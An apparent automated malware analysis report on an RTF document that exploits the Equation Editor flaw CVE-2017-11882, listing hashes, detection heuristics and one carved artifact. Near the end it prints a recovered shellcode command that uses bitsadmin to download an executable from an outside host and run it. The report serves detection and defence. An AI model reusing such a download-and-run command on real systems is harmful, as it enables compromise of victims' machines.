RTF malware analysis — malicious · b34672c50b4491ec

MALICIOUS

RTF

7.45 MB Created: 2017-11-23 01:06:00 First seen: 2019-04-18

MD5: 9d82b69b648eb979a7657fb361283294 SHA-1: fdaace4ac97d88febaec8f973b4a50b8f6ea9bb9 SHA-256: b34672c50b4491ec1e18eef0dc750c55fd89cd71dd68a4d412fa86a64f918114

280 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an RTF document that contains an embedded OLE object. Heuristics indicate a critical vulnerability, CVE-2017-11882, related to the Equation Editor, which is known to allow for arbitrary code execution. This exploit is often delivered via spearphishing attachments.

Heuristics 6

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Dropper.Agent-6855454-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Dropper.Agent-6855454-0
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000014b.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x14B	3627 bytes
SHA-256: `b3954af9f18aaa0ab3ee8ab898e69424e4ef6ee4cf0d6ee411cb3debd3244ce7`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cMd /C bitsadmin /transfer 8 /download ht^tp^s:^/^/my.mixtape.moe/huofcq.htaa %temp%\Iu.Exe&%temp%\Iu.Exe

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